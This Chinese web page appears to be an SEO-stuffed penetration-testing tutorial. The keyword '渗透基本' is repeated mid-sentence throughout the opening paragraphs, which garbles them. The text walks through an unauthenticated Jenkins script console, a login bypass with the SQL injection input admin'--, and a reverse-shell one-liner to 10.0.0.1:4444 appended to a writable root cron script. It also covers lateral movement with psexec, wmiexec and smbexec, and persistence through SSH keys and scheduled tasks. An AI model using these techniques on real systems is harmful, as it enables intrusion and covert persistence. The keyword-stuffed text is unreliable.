当前位置:首页 > 百科

渗透基本

拿到一台连不上外网、渗透基本只有内网IP的渗透基本Linux服务器,你手里没账号没密码,渗透基本能做什么?渗透基本答案是:很多。前提是渗透基本你得先有个立足点。渗透测试的渗透基本本质不是敲几个命令拿root,而是渗透基本用信息差和系统设计缺陷,一步步把不可能变成可能。渗透基本我见过太多人一上来就掏nmap扫全网段,渗透基本结果被IDS逮个正着——方向错了,渗透基本工具再利也是渗透基本白搭。

信息收集是渗透基本第一步,但别把它当成清单勾选。渗透基本上周帮朋友看一台暴露在公网的渗透基本Jenkins,他抱怨“啥都扫不出来”。渗透基本我打开浏览器直接访问/script路径,页面弹出了Groovy脚本控制台——没设密码。这就是典型的“工具盲区”:扫描器只认端口和版本,但人得会看应用逻辑。用curl -I看响应头里的Server字段,用whatweb识别CMS指纹,甚至翻翻robots.txt里被禁止的目录,往往比盲目扫端口更有效。记住,一个泄露的.git目录比一百个开放端口都值钱。

拿到初步信息后,得找入口点。Web应用是重灾区,但别只盯着SQL注入。去年有个案例,某后台登录框在输入' or 1=1--时返回“密码错误”,但输入admin'--直接进了。为什么?后端把用户名拼进SQL后没过滤注释符,而密码验证被--注释掉了。这种逻辑漏洞扫描器根本报不出来。手动测试时,我习惯用Burp Suite的Repeater反复改参数,观察响应长度差异——有时候一个字节的变化就能暴露布尔盲注。

假设拿到了低权限shell,别急着提权。先看/etc/passwd里哪些用户有家目录,再翻/var/log找定时任务日志。有次在CentOS上发现/etc/cron.d里有个脚本每五分钟以root跑一次,但脚本本身对所有人可写。直接echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /opt/backup.sh,等五分钟就拿到root shell。内核漏洞?那是最后的选择,脏且容易崩系统。先找配置错误——SUID文件、可写的服务脚本、暴露的凭证,这些才是日常。

横向移动时,别忽略Windows域环境。用net use \\target\c$挂载共享,如果当前用户有本地管理员哈希,直接psexec过去。但要注意,很多内网机器开了SMB签名,这时候得换wmiexec或atexec。我习惯先用crackmapexec批量测SMB登录,看到[+]就记下来。有个坑:某些杀软会拦截psexec的服务创建,但用smbexec走445端口反而没事——因为流量看起来像正常文件共享。

最后说持久化。别一上来就写注册表Run键,太明显。在Linux上,往~/.ssh/authorized_keys塞公钥最安静;Windows下,用schtasks创建个每天凌晨三点触发的计划任务,指向一个看似正常的系统工具。但记住,渗透测试的终点是报告,不是留后门。我见过太多人沉迷于“拿权限”的快感,结果客户问“怎么修复”时哑口无言。真正的技术控,得知道每一处漏洞对应的CVE编号,以及打补丁的具体命令。

渗透不是炫技,是理解系统如何运转,然后找到它运转时必然产生的裂缝。裂缝一直都在,只是看你会不会看。

分享到: